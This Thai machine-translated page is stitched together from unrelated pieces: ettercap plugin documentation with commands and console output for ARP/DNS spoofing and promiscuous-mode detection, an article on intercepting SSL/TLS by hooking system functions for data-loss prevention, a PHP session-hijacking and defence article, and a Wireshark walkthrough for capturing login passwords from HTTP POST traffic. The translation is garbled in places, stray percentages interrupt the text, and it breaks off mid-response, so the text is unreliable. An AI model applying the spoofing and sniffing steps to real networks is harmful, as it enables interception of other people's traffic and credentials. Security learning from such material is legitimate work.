จะตรวจสอบว่าโมดูล arp etch ใน ettercap สำเร็จหรือไม่ โดยจะส่งแพ็กเก็ตเสียงสะท้อน ICMP ปลอมไปยังเหยื่อเหยื่อทั้งหมดในขณะที่แสร้งทำเป็นเหยื่อแต่ละคน สามารถจับการตอบสนอง ICMP โดยมีที่อยู่ MAC ของเราเป็นปลายทาง ซึ่งหมายความว่าการเหยื่อระหว่างสองเป้าหมายสำเร็จ จะตรวจสอบทั้งสองเส้นทางของแต่ละการเชื่อมต่อ

7.4 dns_spoof

ปลั๊กอินนี้ขัดจังหวะคำขอ DNS และตอบสนองด้วยการตอบกลับที่ปลอมแปลง (ปลอม) คุณสามารถเลือกที่อยู่ที่ปลั๊กอินควรตอบสนองโดยการแก้ไขไฟล์ etter.dns ปลั๊กอินสกัดกั้นคำขอ A, AAAA, PTR, MX, WINS, SRV และ TXT หากเป็นคำขอ A ชื่อจะถูกค้นหาในไฟล์และที่อยู่ IP จะถูกส่งกลับ (คุณสามารถใช้ไวด์การ์ดในชื่อได้)

เช่นเดียวกับคำขอ AAAA

7.5 find_conn

ปลั๊กอินที่เรียบง่ายที่รับฟังคำขอ ARP เพื่อแสดงเป้าหมายทั้งหมดที่โฮสต์ต้องการสื่อสารด้วย นอกจากนี้ยังสามารถช่วยคุณค้นหาที่อยู่ใน LAN ที่ไม่รู้จักได้

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

พยายามระบุแพ็กเก็ต ettercap ที่ส่งไปยัง LAN อาจมีประโยชน์ในการระบุบุคคลที่พยายามใช้ ettercap อย่าเชื่อถือมัน 100% เนื่องจากการทดสอบใช้ได้กับลำดับ/หมายเลข ID ที่ระบุเท่านั้น

7.7 scan_poisoner

จะตรวจสอบว่ามีใครตกเป็นเหยื่อระหว่างเจ้าภาพในรายการกับเราหรือไม่ ขั้นแรก จะตรวจสอบว่าสองโฮสต์ในรายการมีที่อยู่ Mac เดียวกันหรือไม่ นี่อาจหมายความว่าหนึ่งในนั้นกำลังวางยาพิษเราด้วยการแกล้งทำเป็นอีกคน มันสามารถสร้างผลบวกลวงได้มากมายในสภาพแวดล้อม proxy-arp คุณต้องสร้างรายชื่อโฮสต์เพื่อทำการตรวจสอบนี้ หลังจากนั้นจะส่งแพ็กเก็ต icmp echo ไปยังแต่ละโฮสต์ในรายการและตรวจสอบว่าที่อยู่ mac ของแหล่งตอบกลับแตกต่างจากที่อยู่ที่เราจัดเก็บไว้ในรายการด้วย IP นั้นหรือไม่ นี่อาจหมายความว่ามีใครบางคนกำลังล่อลวงโฮสต์นี้โดยแกล้งทำเป็นว่ามีที่อยู่ IP ของเราและส่งต่อแพ็กเก็ตที่ถูกดักจับมาให้เรา คุณไม่สามารถรันการทดสอบที่กำลังดำเนินอยู่นี้ในโหมดที่ไม่น่ารังเกียจ

Ettercap -TQP scan_poisoner //

7.8 ค้นหา_สัญญา

มันพยายามค้นหาว่ามีใครดม (ฟัง) ในโหมดสำส่อนหรือไม่ โดยจะส่งคำขอ arp ที่มีรูปแบบไม่ดีที่แตกต่างกันสองคำขอไปยังแต่ละเป้าหมายในรายการโฮสต์และรอการตอบกลับ หากการตอบสนองมาจากโฮสต์เป้าหมาย ก็มีแนวโน้มว่าเป้าหมายจะมีการ์ดเครือข่ายอยู่ในโหมดที่หลากหลาย อาจสร้างการแจ้งเตือนที่ผิดพลาดได้ คุณสามารถเรียกใช้ได้เหมือนจาก บรรทัดคำสั่งหรือจากเมนูปลั๊กอิน เนื่องจากมันรับฟังการตอบสนองของ arp จึงจะดีกว่าถ้าคุณไม่ใช้มันในขณะที่ส่งคำขอ arp

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

ตัวอย่างการทายสองสำเร็จ การ์ดเครือข่ายในโหมดสำส่อน:

ขยาย

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 ลิขสิทธิ์ 2544-2558 ทีมพัฒนา Ettercap กำลังฟังเมื่อ: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL dissection จำเป็นต้องมีสคริปต์ "redir_command_on" ที่ถูกต้องในไฟล์ etter.conf Ettercap อาจทำงานไม่ถูกต้อง /proc/sys/net/ipv6/conf/eth0/use_tempaddr ไม่ได้ตั้งค่าเป็น 0 สิทธิ์ลดลงไปที่ EUID 65534 EGID 65534... 33 ปลั๊กอิน 42 ตัวแยกโปรโตคอล 57 พอร์ตที่ตรวจสอบ 20388 ลายนิ้วมือผู้ขาย mac 1766 ลายนิ้วมือ tcp OS 2182 บริการที่รู้จัก Lua : ไม่ได้ระบุสคริปต์ ไม่เริ่มทำงาน! กำลังสุ่มโฮสต์ 255 โฮสต์เพื่อสแกน... กำลังสแกนเน็ตมาสก์ทั้งหมดเพื่อหา 255 โฮสต์... * |============================== ============= ====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 ลิขสิทธิ์ 2544-2558 ทีมพัฒนา Ettercap กำลังฟังเมื่อ: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL dissection จำเป็นต้องมีสคริปต์ "redir_command_on" ที่ถูกต้องในไฟล์ etter.conf Ettercap อาจทำงานไม่ถูกต้อง /proc/sys/net/ipv6/conf/eth0/use_tempaddr ไม่ได้ตั้งค่าเป็น 0 สิทธิ์ลดลงไปที่ EUID 65534 EGID 65534... 33 ปลั๊กอิน 42 ตัวแยกโปรโตคอล 57 พอร์ตที่ตรวจสอบ 20388 ลายนิ้วมือผู้ขาย mac 1766 ลายนิ้วมือ tcp OS 2182 บริการที่รู้จัก Lua : ไม่ได้ระบุสคริปต์ ไม่เริ่มทำงาน! กำลังสุ่มโฮสต์ 255 โฮสต์เพื่อสแกน... กำลังสแกนเน็ตมาสก์ทั้งหมดเพื่อหา 255 โฮสต์... * |============================== ============= =====================>| เพิ่มโฮสต์ 100.00% 5 รายการในรายการโฮสต์แล้ว... กำลังเริ่มต้นการดมกลิ่นแบบรวม... เปิดใช้งานอินเทอร์เฟซแบบข้อความเท่านั้น... กด "h" เพื่อรับความช่วยเหลือแบบอินไลน์ กำลังเปิดใช้งานปลั๊กอิน search_promisc... search_promisc: กำลังค้นหา Promisc NICs... มีแนวโน้มว่าจะดม NIC น้อยลง : - 192.168.1.36 - 192.168.1.34 ส่วนใหญ่น่าจะดม NIC: - NONE กำลังปิดอินเทอร์เฟซข้อความ... กำลังยุติ ettercap... การล้างข้อมูล Lua เสร็จสมบูรณ์! การดมกลิ่นแบบครบวงจรหยุดลง

7.9 sslstrip

ในระหว่างการโจมตี SSL mitm ettercap จะแทนที่ใบรับรอง SSL จริงด้วยใบรับรองของตนเอง ใบรับรองปลอมจะถูกสร้างขึ้นทันทีและกรอกทุกช่องตามใบรับรองจริงที่เซิร์ฟเวอร์นำเสนอ

  • (62%)
  • (56.5%)
  • (สุ่ม - 0.2%)
  • ในบรรดางานด้านความปลอดภัยของข้อมูล การต่อสู้กับการรั่วไหลของข้อมูลที่เป็นความลับกำลังมีความสำคัญมากขึ้นเรื่อยๆ จากข้อมูลของโอเพ่นซอร์ส ในช่วงปี 2559 ที่ผ่านมา จำนวนการรั่วไหลเพิ่มขึ้น 86% และ 47% ประสบปัญหานี้ บริษัท รัสเซียโปรไฟล์ที่แตกต่างกันมาก ปัญหานี้แก้ไขได้โดยใช้ระบบคลาส DLP (การป้องกันข้อมูลสูญหาย) บทความนี้กล่าวถึงการใช้งานโมดูลใดโมดูลหนึ่งของระบบดังกล่าว ซึ่งจัดให้มีการตรวจสอบการรับส่งข้อมูล SSL/TLS โดยการสกัดกั้นฟังก์ชันของระบบ Windows

    ต่อสู้กับการรั่วไหล ข้อมูลสำคัญต้องมีการตรวจสอบการรับส่งข้อมูลเครือข่าย สิ่งนี้เกี่ยวข้องกับการวิเคราะห์ข้อมูลทั้งหมดที่ส่งผ่านเครือข่ายในรูปแบบต่างๆ รวมถึงข้อมูลที่เข้ารหัสผ่านโปรโตคอล SSL/TLS

    การสกัดกั้นข้อมูลที่ส่งผ่านโปรโตคอล SSL/TLS สามารถทำได้โดยใช้การโจมตีแบบแทรกกลางการสื่อสาร (หรือเรียกสั้นๆ ว่า MITM) เมื่อต้องการทำเช่นนี้ ระบบตรวจสอบจะทำหน้าที่เป็นตัวกลางระหว่างไคลเอนต์และเซิร์ฟเวอร์ ข้อมูลทั้งหมดจากไคลเอนต์ไปที่ตัวกลางก่อน (เช่น ระบบตรวจสอบ) จากนั้นจะถูกส่งต่อไปยังเซิร์ฟเวอร์ ในทางกลับกัน ข้อมูลทั้งหมดจากเซิร์ฟเวอร์จะไปถึงคนกลางก่อน จากนั้นจึงส่งต่อไปยังไคลเอนต์

    รูปที่ 1. การโจมตีแบบแทรกกลาง


    วิธีที่ง่ายที่สุดในการ "แนะนำ" ตัวกลางนั้นขึ้นอยู่กับการใช้เซิร์ฟเวอร์ตัวกลาง (พร็อกซีเซิร์ฟเวอร์) ในกรณีนี้ ไคลเอ็นต์และเซิร์ฟเวอร์จะไม่สื่อสารกันโดยตรง ไคลเอนต์ส่งคำขอทั้งหมดไปยังเซิร์ฟเวอร์ระดับกลางซึ่งส่งต่อไปยังเซิร์ฟเวอร์จริง ในทำนองเดียวกัน เซิร์ฟเวอร์จริงจะส่งการตอบกลับไปยังเซิร์ฟเวอร์ระดับกลาง ซึ่งส่งต่อไปยังไคลเอนต์

    หากข้อมูลถูกถ่ายโอนโดยใช้ SSL/TLS การเชื่อมต่อทั้งสอง (จากไคลเอนต์ไปยังเซิร์ฟเวอร์ระดับกลาง และจากเซิร์ฟเวอร์ระดับกลางไปยังเซิร์ฟเวอร์จริง) จะปลอดภัย การเชื่อมต่อทั้งสองใช้ใบรับรองของตนเองและรหัสส่วนตัวของตนเอง เซิร์ฟเวอร์ระดับกลางมีคีย์ส่วนตัวสำหรับการเชื่อมต่อทั้งสองและ "เข้ารหัสใหม่" ข้อมูล: รับข้อมูลที่เข้ารหัส ถอดรหัสและเข้ารหัสโดยใช้ข้อมูลอื่น รหัสส่วนตัวและในที่สุดก็ส่งต่อไป ดังนั้นเซิร์ฟเวอร์ระดับกลางจึงมีข้อมูลที่ส่งทั้งหมดในรูปแบบที่ไม่ได้เข้ารหัส

    การใช้เซิร์ฟเวอร์ staging มีข้อเสียที่สำคัญสองประการ ประการแรก ผู้ใช้ปลายทางอาจสังเกตเห็นได้ชัดเจนเกินไป ประการที่สอง หากเซิร์ฟเวอร์ระดับกลางทำงานบนเครื่องไคลเอนต์ ที่ระดับระบบปฏิบัติการ จำนวนการเชื่อมต่อเครือข่ายแบบเปิดจะเพิ่มเป็นสองเท่า สิ่งนี้จะสร้างภาระเพิ่มเติมบนระบบย่อยเครือข่าย OS และอาจนำไปสู่ความล้มเหลวได้ในกรณีที่ จำนวนมากเปิดการเชื่อมต่อเครือข่ายพร้อมกัน

    การสกัดกั้นการเรียกใช้ฟังก์ชันของระบบทำให้มีวิธีที่สวยงามและรอบคอบมากขึ้นในการดำเนินการแบบแทรกแซงตรงกลาง ในการดำเนินการนี้ ระบบตรวจสอบจะเชื่อมต่อกับกระบวนการที่กำลังทำงานอยู่ และแทนที่ฟังก์ชันระบบที่ใช้ระหว่างการโต้ตอบกับเครือข่าย นอกจากนี้ เมื่อกระบวนการเข้าถึงฟังก์ชันของระบบที่ถูกสกัดกั้น การควบคุมจะถูกถ่ายโอนไปยังระบบการตรวจสอบ ดังนั้นจึงควบคุมกิจกรรมเครือข่ายของกระบวนการได้อย่างสมบูรณ์และสามารถทำหน้าที่เป็นตัวกลางในการโต้ตอบของกระบวนการกับเซิร์ฟเวอร์ระยะไกลได้


    รูปที่ 2 การโจมตีแบบ Man-in-the-middle โดยใช้ไลบรารีมิดเดิลแวร์ที่ขัดขวางการทำงานของระบบ


    เปิดตัวระบบตรวจสอบการรับส่งข้อมูล SSL/TLS โดยใช้ สามง่ายขั้นตอน:
    1. เชื่อมต่อกับกระบวนการไคลเอนต์ที่ระบุ (โดยใช้ คุณสมบัติมาตรฐานระบบปฏิบัติการ)
    2. กำลังโหลดไลบรารีตัวกลางแบบไดนามิกซึ่งใช้ฟังก์ชันการโต้ตอบเครือข่ายของตัวเอง
    3. การกำหนดค่าการสกัดกั้นฟังก์ชันการโต้ตอบของเครือข่าย เพื่อที่ว่าเมื่อมีการเรียกใช้ฟังก์ชันเหล่านี้ การเรียกจะไม่เกิดขึ้นกับฟังก์ชันของระบบ แต่เป็นการเรียกใช้ฟังก์ชันที่นำไปใช้ในไลบรารีที่โหลด

    ไลบรารีสื่อกลางมีความสามารถเช่นเดียวกับเซิร์ฟเวอร์ระดับกลาง ดังนั้นข้อมูลทั้งหมดจากแอปพลิเคชันไคลเอ็นต์จะไปที่ไลบรารีตัวกลางก่อน จากนั้นจึงส่งต่อไปยังเซิร์ฟเวอร์จริง ในทางกลับกัน ข้อมูลทั้งหมดจากเซิร์ฟเวอร์จริงจะถูกส่งไปยังไลบรารีตัวกลางก่อน จากนั้นจึงส่งต่อไปยังแอปพลิเคชัน


    รูปที่ 3 การสกัดกั้นข้อมูลโดยไลบรารีตัวกลาง


    ในการโต้ตอบกับเซิร์ฟเวอร์ ไลบรารีตัวกลางจะใช้ฟังก์ชันและกลไกของระบบมาตรฐาน หากข้อมูลถูกส่งโดยใช้ SSL/TLS การเชื่อมต่อที่ปลอดภัยจะถูกนำมาใช้ ซึ่งถูกสร้างขึ้นโดยไลบรารีตัวกลาง เมื่อสร้างการเชื่อมต่อแล้ว ไลบรารีตัวกลางจะ "รู้" คีย์ส่วนตัวที่ใช้ในการเข้ารหัส/ถอดรหัสข้อมูล

    การโต้ตอบกับแอปพลิเคชันไคลเอ็นต์เกิดขึ้นในลักษณะที่แตกต่างออกไปเล็กน้อย ไลบรารีพร็อกซีเข้าควบคุมเมื่อแอปพลิเคชันไคลเอนต์เรียกใช้ฟังก์ชันเครือข่ายบางอย่าง หากฟังก์ชันที่ถูกเรียกมีอาร์กิวเมนต์อินพุต ไลบรารีมิดเดิลแวร์จะได้รับค่าของอาร์กิวเมนต์เหล่านั้น ถัดไปไลบรารีตัวกลาง "จำลอง" การทำงานของฟังก์ชันนี้และหากฟังก์ชันมีอาร์กิวเมนต์เอาต์พุตไลบรารีตัวกลางจะสร้างค่าของอาร์กิวเมนต์เหล่านี้ ตรรกะนี้ใช้กับฟังก์ชันที่ถูกสกัดกั้นทั้งหมด รวมถึงฟังก์ชันของการสร้างการเชื่อมต่อ การส่งข้อมูล และการรับการตอบสนองของเซิร์ฟเวอร์

    ไลบรารีตัวกลางโต้ตอบกับทั้งแอปพลิเคชันไคลเอนต์และเซิร์ฟเวอร์ระยะไกลพร้อมกัน ตรรกะการดำเนินงานขึ้นอยู่กับการดำเนินการที่ทำโดยแอปพลิเคชันไคลเอ็นต์:

    1. การสร้างการเชื่อมต่อเครือข่ายใหม่เกิดขึ้นดังนี้:
    - แอปพลิเคชันเรียกใช้ฟังก์ชันระบบที่จำเป็น
    - การโทรถูกส่งไปยังห้องสมุดตัวกลาง
    - ไลบรารีตัวกลางสร้างการเชื่อมต่อกับเซิร์ฟเวอร์ และดำเนินการทั้งหมดอย่างอิสระโดยโปรโตคอล SSL/TLS: การตรวจสอบใบรับรองเซิร์ฟเวอร์ การส่งใบรับรองของตัวเอง การจับมือกัน การสร้างคีย์ส่วนตัว ฯลฯ
    - ไลบรารีตัวกลางส่งคืนการควบคุมไปยังแอปพลิเคชัน
    - แอปพลิเคชันดำเนินการทั้งหมดที่จำเป็นเพื่อสร้างการเชื่อมต่อผ่านโปรโตคอล SSL/TLS โดยเรียกใช้ฟังก์ชันการสื่อสารเครือข่าย ไลบรารีสื่อกลางดักฟังการโทรเหล่านี้ทั้งหมด แต่ไม่ได้ทำการเรียกใดๆ ไปยังเซิร์ฟเวอร์จริง แต่จะ "ตอบสนอง" ต่อตัวแอปพลิเคชันเอง จากมุมมองของแอปพลิเคชัน ทุกอย่างดูราวกับว่ามีการโต้ตอบกับเซิร์ฟเวอร์จริง (รวมถึงการจับมือกันและการสร้างคีย์ส่วนตัว)
    จากการดำเนินการเหล่านี้ ไลบรารีตัวกลางจึงมีคีย์ส่วนตัวสองคีย์ของโปรโตคอล SSL/TLS ในคราวเดียว คีย์หนึ่งใช้เพื่อโต้ตอบกับแอปพลิเคชัน ส่วนอีกคีย์ใช้เพื่อโต้ตอบกับเซิร์ฟเวอร์

    2. ในการถ่ายโอนข้อมูลไปยังเซิร์ฟเวอร์ แอปพลิเคชันจะเรียกใช้ฟังก์ชันระบบ ข้อมูลที่เข้ารหัสแล้วจะถูกส่งผ่านไปยังอินพุตของฟังก์ชัน ไลบรารีมิดเดิลแวร์สกัดกั้นการโทรนี้ และทำสิ่งต่อไปนี้:
    - ถอดรหัสข้อมูลที่ส่งโดยใช้รหัสส่วนตัวที่ได้รับเมื่อสร้างการเชื่อมต่อกับแอปพลิเคชัน
    - เข้ารหัสข้อมูลที่ได้รับโดยใช้รหัสส่วนตัวที่ได้รับเมื่อสร้างการเชื่อมต่อกับเซิร์ฟเวอร์
    - ส่งข้อมูลที่เข้ารหัสไปยังเซิร์ฟเวอร์

    3. การรับข้อมูลจากเซิร์ฟเวอร์เกิดขึ้นในลักษณะเดียวกัน แต่ใน ลำดับย้อนกลับ- แอปพลิเคชันเรียกใช้ฟังก์ชันรับข้อมูล และไลบรารีมิดเดิลแวร์ดักฟังการเรียกนี้และทำสิ่งต่อไปนี้:
    - รับข้อมูลบางส่วนจากเซิร์ฟเวอร์
    - ถอดรหัสข้อมูลที่ได้รับโดยใช้รหัสส่วนตัวที่ได้รับเมื่อสร้างการเชื่อมต่อกับเซิร์ฟเวอร์
    - เข้ารหัสข้อมูลที่ได้รับโดยใช้คีย์ส่วนตัวที่ได้รับเมื่อสร้างการเชื่อมต่อกับแอปพลิเคชัน
    - ส่งคืนข้อมูลที่เข้ารหัส (หรือบางส่วน) อันเป็นผลมาจากฟังก์ชัน

    4. เมื่อการเชื่อมต่อขาดหาย แอปพลิเคชันจะเรียกใช้ฟังก์ชันที่เกี่ยวข้อง ไลบรารีมิดเดิลแวร์ดักฟังการโทรนี้ ปิดการเชื่อมต่อกับเซิร์ฟเวอร์ ลบโครงสร้างภายใน และส่งคืนการควบคุมไปยังแอปพลิเคชัน

    การดำเนินการทางเทคนิคของวิธีการสกัดกั้นการจราจรที่เสนอนั้นมีปัญหาหลายประการ แอปพลิเคชันสามารถใช้งานได้ วิธีต่างๆการโต้ตอบกับเครือข่าย (โหมดการบล็อกและไม่บล็อก, โหมดการทำงานแบบอะซิงโครนัส ฯลฯ ) ในระบบการตรวจสอบที่ครบถ้วน จำเป็นต้องคำนึงถึงสถานการณ์ลักษณะการทำงานของแอปพลิเคชันที่เป็นไปได้ทั้งหมด มิฉะนั้นระบบติดตามจะไม่ทำงาน

    ปัญหาที่ร้ายแรงกว่านั้นก็คือการมีห้องสมุดตัวกลางอาจทำให้ผู้ใช้ระดับสูงมองเห็นได้ชัดเจน ไลบรารีพร็อกซี "ตอบสนอง" ต่อแอปพลิเคชันในนามของเซิร์ฟเวอร์ แต่ใช้ใบรับรองที่ลงนามด้วยตนเอง แอปพลิเคชันไคลเอนต์จำนวนมาก (เช่น อินเทอร์เน็ตเบราว์เซอร์) ทำงานอย่างถูกต้องกับใบรับรองที่ลงนามด้วยตนเองของเซิร์ฟเวอร์ แต่อนุญาตให้คุณดูใบรับรองได้เสมอ หากผู้ใช้เห็นใบรับรองที่ลงนามด้วยตนเองซึ่งไม่เกี่ยวข้องกับเซิร์ฟเวอร์จริง ผู้ใช้อาจสงสัยว่ามีคนกลางอยู่

    โดยทั่วไป วิธีการที่เสนอสำหรับการตรวจสอบการรับส่งข้อมูล TLS/SSL นั้นมีประสิทธิภาพอย่างมากด้วยเหตุผลหลายประการ ประการแรก ไลบรารีทำหน้าที่เป็นตัวกลางเต็มรูปแบบระหว่างแอปพลิเคชันและเซิร์ฟเวอร์ ควบคุมกิจกรรมเครือข่ายทั้งหมดของแอปพลิเคชันและข้อมูลการส่ง/รับทั้งหมดอย่างสมบูรณ์ ประการที่สอง การใช้ไลบรารีตัวกลางไม่จำเป็นต้องมีนัยสำคัญ ทรัพยากรระบบ- ในที่สุด การมีอยู่ของไลบรารีตัวกลางจะสังเกตเห็นได้เฉพาะผู้ใช้ที่มีประสบการณ์เท่านั้น

    วิธีแฮ็กและปกป้องเซสชันของคุณจากการโจรกรรม

    เว็บไซต์ส่วนใหญ่บนอินเทอร์เน็ตเปิดรับอิทธิพลภายนอกจากแฮกเกอร์ แม้แต่โครงการอินเทอร์เน็ตขนาดใหญ่ที่มีราคาแพงก็ถูกแฮ็ก: พวกเขาทิ้งร่องรอยหรือขโมยฐานข้อมูล ส่งผลให้เจ้าของทรัพยากรและผู้เยี่ยมชมต้องทนทุกข์ทรมาน

    เพื่อหลีกเลี่ยงปัญหาการแฮ็ก ต้องใช้มาตรการหลายประการในระหว่างการพัฒนา ต้องมีการดำเนินการป้องกันบางอย่างระหว่างการทำงานของไซต์

    ในบทความก่อนหน้านี้ ฉันได้แสดงวิธีการทำงานของเซิร์ฟเวอร์ วันนี้เราจะพูดถึงการสกัดกั้นและการปกป้องเซสชันโดยแฮกเกอร์

    เซสชันไซต์

    PHP น่าจะเป็นภาษาโปรแกรมฝั่งเซิร์ฟเวอร์ที่ใช้กันมากที่สุดสำหรับเว็บไซต์ ใน PHP เซสชันไซต์จะเริ่มต้นโดยใช้คำสั่ง session_start() ก่อนเริ่มต้นคุณสามารถระบุพารามิเตอร์เพิ่มเติมได้ เซสชันมักจะจัดเก็บข้อมูลส่วนบุคคลที่สำคัญเกี่ยวกับผู้ใช้: การเข้าสู่ระบบ ชื่อ รหัสผ่าน...

    การแย่งชิงเซสชัน

    มี 2 ​​วิธีในการจัดเก็บ ID เซสชัน: ในคุกกี้และในแถบที่อยู่ ตัวเลือกแรกมีความน่าเชื่อถือมากกว่าตัวเลือกที่สอง แต่ทั้งสองสามารถแฮ็กได้ในระดับหนึ่งหรืออย่างอื่น การแฮ็กประเภทนี้เรียกว่าการไฮแจ็กเซสชัน

    ให้ตัวระบุถูกเก็บไว้ใน URL ของไซต์ ผู้เข้าชมที่เข้าสู่ระบบเดินผ่านหน้าต่างๆ ในไซต์ของคุณ ตัดสินใจร่วมกับใครสักคน เมื่อเผยแพร่ลิงก์ เขาให้ลิงก์พร้อมรหัสเซสชันของเขา หากไซต์ไม่มีวิธีการรักษาความปลอดภัยเพิ่มเติม เมื่อคลิกที่ลิงก์ดังกล่าว ผู้เยี่ยมชมใหม่จะเข้าสู่ระบบในฐานะผู้ใช้รายแรก หากเซสชันยังไม่สิ้นสุด จากนั้นทำทุกอย่างที่คุณต้องการบนไซต์ภายในขอบเขตที่กฎอนุญาต

    เมื่อใช้คุกกี้ สิ่งต่างๆ จะซับซ้อนมากขึ้น แต่ทุกอย่างก็ค่อนข้างง่ายที่จะสกัดกั้น เว็บไซต์จำนวนมากไม่กรองสคริปต์ของเบราว์เซอร์เมื่อผู้ใช้เผยแพร่ข้อมูล ผู้โจมตีอาจวางสคริปต์ดังกล่าวบนเพจ ผู้เข้าชมที่เข้าสู่ระบบมาที่เพจ... สคริปต์จะอ่านค่าคุกกี้หรือแถบที่อยู่และส่งตัวระบุเซสชันไปยังไซต์อื่น ไซต์อื่นเป็นของแฮ็กเกอร์ อย่างอื่นก็เรียบง่าย คุกกี้ถูกปลอมแปลงหรือป้อนที่อยู่ของหน้าเว็บไซต์พร้อมตัวระบุเซสชันที่จำเป็น

    การแฮ็กเซสชัน

    เมื่อเซสชันเริ่มต้น ไฟล์เซสชันจะถูกสร้างขึ้นในไดเร็กทอรีชั่วคราว ไฟล์เหล่านี้จัดเก็บข้อมูล หากใช้ โดยปกติแล้ว โฟลเดอร์ชั่วคราวสำหรับจัดเก็บเซสชันจะเป็นเรื่องปกติในทุกไซต์บนเซิร์ฟเวอร์ จากนั้น สคริปต์ของคุณจะอ่านข้อมูลเซสชันในลักษณะใดลักษณะหนึ่ง เมื่อต้องการทำเช่นนี้ ผู้โจมตีจะต้องมีบัญชีบนเซิร์ฟเวอร์เดียวกัน ด้วยเหตุนี้ หากเซสชันจัดเก็บรหัสผ่านสำหรับเว็บไซต์หรือหมายเลขบัตรเครดิตพร้อมรหัส CVV ทั้งหมดนี้ ข้อมูลที่เป็นประโยชน์ตกไปอยู่ในมือของผู้บุกรุก

    การป้องกันการแฮ็กข้อมูลเซสชัน
    • เก็บเซสชันไว้ในคุกกี้ มันยากที่จะเอาออกไป
    • ผูกเซสชันกับที่อยู่ IP ของคอมพิวเตอร์ เมื่อเข้าสู่ระบบจาก IP อื่น เซสชันใหม่จะถูกสร้างขึ้นโดยขึ้นอยู่กับการตั้งค่าสคริปต์
    • ผูกเซสชันกับตัวแทนผู้ใช้เบราว์เซอร์ เมื่อเข้าสู่ระบบจากเบราว์เซอร์อื่น เซสชันจะถูกรีเซ็ต
    • เข้ารหัสพารามิเตอร์ที่ส่งผ่านไปยังเซสชัน หากผู้โจมตีได้รับไฟล์เซสชัน เขาจะไม่สามารถอ่านได้ แม้ว่าคุณจะมีทักษะบางอย่าง แต่ก็สามารถถอดรหัสเซสชันได้เช่นกัน
    • จัดเก็บรหัสเซสชันใน โฟลเดอร์แยกต่างหาก- ใน php มีคำสั่งสำหรับสิ่งนี้: session_save_path($path_to_dir) การตั้งค่าเดียวกันนี้สามารถระบุได้ในไฟล์ php.ini พารามิเตอร์นี้เรียกว่า session.save_path
    • ใช้ session_set_save_handler() ใน php เพื่อแทนที่วิธีจัดเก็บเซสชัน และเริ่มต้นจาก PHP 5.4 คุณสามารถส่งวัตถุประเภท SessionHandlerInterface ไปที่ session_set_save_handler()

    ผู้ใช้หลายคนไม่ทราบว่าการกรอกข้อมูลเข้าสู่ระบบและรหัสผ่านเมื่อลงทะเบียนหรืออนุญาตทรัพยากรอินเทอร์เน็ตที่ปิดแล้วกด ENTER ข้อมูลนี้อาจถูกดักจับได้อย่างง่ายดาย บ่อยครั้งที่มีการส่งสัญญาณผ่านเครือข่ายในรูปแบบที่ไม่ปลอดภัย ดังนั้น หากไซต์ที่คุณพยายามเข้าสู่ระบบใช้โปรโตคอล HTTP ก็เป็นเรื่องง่ายมากที่จะบันทึกการรับส่งข้อมูลนี้ วิเคราะห์โดยใช้ Wireshark จากนั้นใช้ตัวกรองและโปรแกรมพิเศษเพื่อค้นหาและถอดรหัสรหัสผ่าน

    จุดที่ดีที่สุดในการสกัดกั้นรหัสผ่านคือแกนหลักของเครือข่าย ซึ่งการรับส่งข้อมูลของผู้ใช้ทั้งหมดไปที่ทรัพยากรแบบปิด (เช่น เมล) หรือที่หน้าเราเตอร์เพื่อเข้าถึงอินเทอร์เน็ต เมื่อลงทะเบียนกับทรัพยากรภายนอก เราติดตั้งกระจกและเราพร้อมที่จะรู้สึกเหมือนเป็นแฮ็กเกอร์

    ขั้นตอนที่ 1 ติดตั้งและเปิดใช้งาน Wireshark เพื่อบันทึกการรับส่งข้อมูล

    บางครั้งในการทำเช่นนี้ก็เพียงพอที่จะเลือกเฉพาะอินเทอร์เฟซที่เราวางแผนจะบันทึกการรับส่งข้อมูลแล้วคลิกปุ่มเริ่ม ในกรณีของเรา เรากำลังจับภาพผ่านเครือข่ายไร้สาย

    การจับจราจรได้เริ่มขึ้นแล้ว

    ขั้นตอนที่ 2 การกรองการรับส่งข้อมูล POST ที่บันทึกไว้

    เราเปิดเบราว์เซอร์และพยายามเข้าสู่ระบบทรัพยากรบางอย่างโดยใช้ชื่อผู้ใช้และรหัสผ่าน เมื่อกระบวนการอนุญาตเสร็จสิ้นและเปิดไซต์แล้ว เราจะหยุดบันทึกการรับส่งข้อมูลใน Wireshark ถัดไป เปิดตัววิเคราะห์โปรโตคอลและดูแพ็กเก็ตจำนวนมาก ณ จุดนี้เองที่ผู้เชี่ยวชาญด้านไอทีส่วนใหญ่ยอมแพ้เพราะพวกเขาไม่รู้ว่าจะต้องทำอะไรต่อไป แต่เรารู้และสนใจแพ็คเกจเฉพาะที่มี ข้อมูลโพสต์ซึ่งสร้างขึ้นบนเครื่องของเราเมื่อกรอกแบบฟอร์มบนหน้าจอและส่งไปยังเซิร์ฟเวอร์ระยะไกลเมื่อเราคลิกปุ่ม "เข้าสู่ระบบ" หรือ "การอนุญาต" ในเบราว์เซอร์

    เราป้อนตัวกรองพิเศษในหน้าต่างเพื่อแสดงแพ็กเก็ตที่บันทึกไว้: http ขอ. วิธีการ == “โพสต์”

    และเราเห็นเพียงแพ็คเกจเดียวที่มีข้อมูลที่เรากำลังมองหา แทนที่จะเป็นแพ็คเกจหลายพันรายการ

    ขั้นตอนที่ 3 ค้นหาข้อมูลเข้าสู่ระบบและรหัสผ่านของผู้ใช้

    คลิกขวาอย่างรวดเร็วและเลือกติดตาม TCP Steam จากเมนู


    หลังจากนี้ข้อความจะปรากฏในหน้าต่างใหม่ที่คืนค่าเนื้อหาของหน้าเป็นโค้ด มาหาช่อง "รหัสผ่าน" และ "ผู้ใช้" ซึ่งตรงกับรหัสผ่านและชื่อผู้ใช้ ในบางกรณี ทั้งสองฟิลด์จะสามารถอ่านได้ง่ายและไม่ได้เข้ารหัสด้วยซ้ำ แต่หากเราพยายามบันทึกการรับส่งข้อมูลเมื่อเข้าถึงทรัพยากรที่เป็นที่รู้จัก เช่น Mail.ru, Facebook, VKontakte เป็นต้น รหัสผ่านจะถูกเข้ารหัส:

    พบ HTTP/1.1 302

    เซิร์ฟเวอร์: Apache/2.2.15 (CentOS)

    X-ขับเคลื่อนโดย: PHP/5.3.3

